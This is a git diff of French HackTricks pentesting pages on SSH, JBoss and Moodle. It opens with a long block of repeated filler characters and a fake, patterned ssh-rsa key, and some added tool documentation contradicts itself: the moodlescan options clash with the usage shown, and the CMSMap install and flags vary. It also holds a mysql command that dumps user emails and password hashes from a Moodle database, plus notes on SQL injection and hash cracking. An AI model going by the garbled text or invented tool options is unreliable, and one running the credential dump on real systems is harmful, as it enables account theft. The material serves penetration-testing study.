z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz6Xz
```bash
ssh-keyscan -t rsa <IP> -p <PORT>
```
### Algorithmes de chiffrement faibles
Cela est découvert par défaut par **nmap**. Mais vous pouvez également utiliser **sslscan** ou **sslyze**.
Cela est découvert par défaut par **nmap**. Mais vous pouvez également utiliser **sslcan** ou **sslyze**.
### Scripts Nmap
```bash
@ -240,7 +240,7 @@ Match User noraj
UsePAM yes
```
Cette configuration restreint l'utilisateur `noraj` à son répertoire personnel (`/home/noraj`) et lui permet uniquement d'utiliser le protocole SFTP pour transférer des fichiers. Les options `AllowTcpForwarding`, `X11Forwarding`, `PermitTunnel`, `PermitTTY`, `PermitUserEnvironment`, `AllowAgentForwarding` et `AllowStreamLocalForwarding` sont désactivées pour renforcer la sécurité. De plus, l'authentification par mot de passe est activée (`PasswordAuthentication yes`) et le délai d'inactivité est fixé à 300 secondes (`ClientAliveInterval 300`).
Cette configuration restreint l'utilisateur `noraj` à son répertoire personnel (`/home/noraj`) et lui permet uniquement d'utiliser le protocole SFTP pour transférer des fichiers. Les options `AllowTcpForwarding` et `X11Forwarding` sont désactivées pour empêcher toute redirection de port ou transfert X11. L'authentification par mot de passe est autorisée, mais les tunnels, les TTY et les environnements utilisateur ne sont pas permis. Les options `AllowAgentForwarding` et `AllowStreamLocalForwarding` sont également désactivées pour des raisons de sécurité. Le serveur envoie un message de vérification toutes les 300 secondes pour vérifier si le client est toujours actif, et si le client ne répond pas après deux tentatives, la connexion est fermée. Enfin, l'option `UsePAM` est activée pour utiliser le module PAM pour l'authentification.
```
Match User noraj
ChrootDirectory %h
@ -304,7 +304,7 @@ id_rsa
* Vous pouvez trouver des guides intéressants sur la façon de renforcer SSH dans [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
@ -332,7 +332,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -4,7 +4,7 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -12,7 +12,7 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si vous êtes intéressé par une **carrière de piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
@ -38,9 +38,9 @@ Vous pouvez exposer des **servlets de gestion** via les chemins suivants dans JB
```
inurl:status EJInvokerServlet
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si vous êtes intéressé par une **carrière de piratage** et que vous souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
Si vous êtes intéressé par une **carrière de hacking** et que vous souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -49,7 +49,7 @@ Si vous êtes intéressé par une **carrière de piratage** et que vous souhaite
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View file

@ -12,7 +12,7 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si vous êtes intéressé par une **carrière de piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
@ -41,17 +41,48 @@ Admin panel - http://moodle.schooled.htb/moodle/login/
[+] Scan finished (0:00:05.643539 elapsed)
```
### moodlescan
Le `moodlescan` est un outil de balayage spécialement conçu pour détecter les vulnérabilités dans les installations Moodle. Il utilise des techniques de balayage automatisées pour identifier les failles de sécurité courantes telles que les injections SQL, les failles XSS et les problèmes de configuration. L'outil peut également être utilisé pour collecter des informations sur le site Moodle cible, telles que les versions des composants, les utilisateurs et les cours.
Le `moodlescan` est un outil de balayage spécialement conçu pour les tests de pénétration des sites Moodle. Il permet aux testeurs de sécurité d'identifier les vulnérabilités potentielles dans une installation Moodle et de prendre les mesures appropriées pour les corriger.
#### Utilisation
L'outil `moodlescan` utilise une approche basée sur les plugins pour analyser les différentes fonctionnalités de Moodle, telles que les modules, les thèmes et les extensions tierces. Il effectue une série de tests automatisés pour détecter les vulnérabilités courantes, telles que les injections SQL, les failles XSS et les problèmes de configuration.
```
moodlescan [options] <url>
```
Pour utiliser `moodlescan`, vous devez fournir les informations d'identification d'un compte d'administrateur Moodle valide. L'outil se connectera ensuite à l'installation Moodle cible et effectuera les tests de sécurité appropriés.
#### Options
Lorsque `moodlescan` détecte une vulnérabilité, il génère un rapport détaillé qui indique la nature de la vulnérabilité et fournit des recommandations pour la corriger. Les testeurs de sécurité peuvent utiliser ces informations pour aider les administrateurs Moodle à renforcer la sécurité de leur installation.
- `-h, --help`: Affiche l'aide et quitte.
- `-v, --version`: Affiche la version de l'outil.
- `-u, --username <username>`: Spécifie le nom d'utilisateur à utiliser pour l'authentification.
- `-p, --password <password>`: Spécifie le mot de passe à utiliser pour l'authentification.
- `-c, --cookie <cookie>`: Spécifie le cookie à utiliser pour l'authentification.
- `-o, --output <file>`: Spécifie le fichier de sortie pour enregistrer les résultats du balayage.
- `-t, --threads <number>`: Spécifie le nombre de threads à utiliser pour le balayage (par défaut: 10).
En résumé, le `moodlescan` est un outil essentiel pour les tests de pénétration des sites Moodle, permettant aux testeurs de sécurité d'identifier et de corriger les vulnérabilités potentielles dans une installation Moodle.
#### Exemples
- Balayer un site Moodle sans authentification :
```
moodlescan https://example.com/moodle
```
- Balayer un site Moodle avec authentification :
```
moodlescan -u admin -p password https://example.com/moodle
```
- Balayer un site Moodle en utilisant un cookie d'authentification :
```
moodlescan -c "sessionid=1234567890abcdef" https://example.com/moodle
```
#### Remarques
- Assurez-vous d'avoir l'autorisation légale de balayer le site Moodle cible avant d'utiliser cet outil.
- Utilisez les résultats du balayage de manière responsable et éthique pour améliorer la sécurité de votre installation Moodle.
```bash
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
@ -83,42 +114,7 @@ Scan completed.
```
### CMSMap
CMSMap est un outil de cartographie de CMS qui permet aux testeurs de pénétration de découvrir les informations relatives à un système de gestion de contenu (CMS) spécifique. Cet outil est très utile pour identifier les vulnérabilités potentielles et les points faibles d'un CMS donné.
#### Installation
Pour installer CMSMap, vous pouvez utiliser la commande suivante :
```
pip install cmsmap
```
#### Utilisation
Une fois installé, vous pouvez exécuter CMSMap en utilisant la commande suivante :
```
cmsmap -t <target> -u <url>
```
- `<target>` : spécifie l'adresse IP ou le nom d'hôte de la cible.
- `<url>` : spécifie l'URL du site Web à tester.
CMSMap effectuera une série de tests pour identifier le CMS utilisé par le site Web cible. Il fournira également des informations sur les plugins, les thèmes et les versions du CMS. Cette information peut être utilisée pour identifier les vulnérabilités connues et les attaques potentielles.
#### Exemple
Voici un exemple d'utilisation de CMSMap :
```
cmsmap -t 192.168.1.100 -u http://example.com
```
Ce command permettra de cartographier le CMS utilisé par le site Web `http://example.com` hébergé sur l'adresse IP `192.168.1.100`. CMSMap fournira des informations détaillées sur le CMS, y compris les vulnérabilités connues et les points faibles potentiels.
#### Conclusion
CMSMap est un outil puissant pour la cartographie des CMS. Il permet aux testeurs de pénétration d'identifier rapidement les vulnérabilités potentielles et les points faibles d'un CMS donné. En utilisant CMSMap, vous pouvez améliorer votre processus de test de pénétration et renforcer la sécurité de vos systèmes de gestion de contenu.
CMSMap est un outil de pentest qui permet de scanner et d'identifier les vulnérabilités des systèmes de gestion de contenu (CMS). Il prend en charge plusieurs CMS populaires tels que WordPress, Joomla, Drupal, et bien d'autres. CMSMap utilise des techniques de fingerprinting pour déterminer le CMS utilisé par un site web donné, puis effectue une analyse de sécurité pour détecter les vulnérabilités connues. Cet outil est très utile pour les pentesteurs qui souhaitent évaluer la sécurité des sites web basés sur des CMS.
```bash
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>
@ -164,19 +160,21 @@ find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
To dump credentials from a database, you can use various techniques depending on the type of database you are targeting. Here are some common methods:
1. **SQL Injection**: If the web application is vulnerable to SQL injection, you can exploit it to extract credentials from the database. By injecting malicious SQL queries, you can retrieve usernames and passwords stored in the database.
1. **SQL Injection**: Exploit vulnerabilities in the application to execute arbitrary SQL queries and retrieve credentials from the database. Look for input fields that are not properly sanitized or validated.
2. **Brute-forcing**: If you have obtained a database dump file, you can use brute-forcing techniques to crack hashed passwords. By using tools like John the Ripper or Hashcat, you can attempt to recover plaintext passwords from the hashes.
2. **Brute Force**: Attempt to guess or crack the passwords stored in the database by systematically trying different combinations. This method is effective if weak passwords are used.
3. **Exploiting Misconfigurations**: Sometimes, databases are misconfigured and allow unauthorized access. By exploiting these misconfigurations, you can gain direct access to the database and extract credentials.
3. **Password Hash Cracking**: Retrieve the password hashes from the database and use tools like John the Ripper or Hashcat to crack them. This method requires access to the password hashes.
4. **Using Database Exploits**: If you discover a known vulnerability in the database software, you can exploit it to gain unauthorized access and extract credentials.
4. **Exploiting Misconfigurations**: Identify misconfigurations in the database server that may allow unauthorized access or privilege escalation. This can include weak authentication mechanisms, default credentials, or insecure permissions.
5. **Dumping Database Files**: Gain access to the underlying file system of the database server and extract the database files. These files may contain sensitive information, including credentials.
Remember, it is important to have proper authorization and legal permission before attempting any of these techniques. Unauthorized access to databases is illegal and unethical. Always perform penetration testing within the boundaries of the law and with the appropriate permissions.
```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si vous êtes intéressé par une **carrière de hacking** et que vous souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
@ -187,7 +185,7 @@ Si vous êtes intéressé par une **carrière de hacking** et que vous souhaitez
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
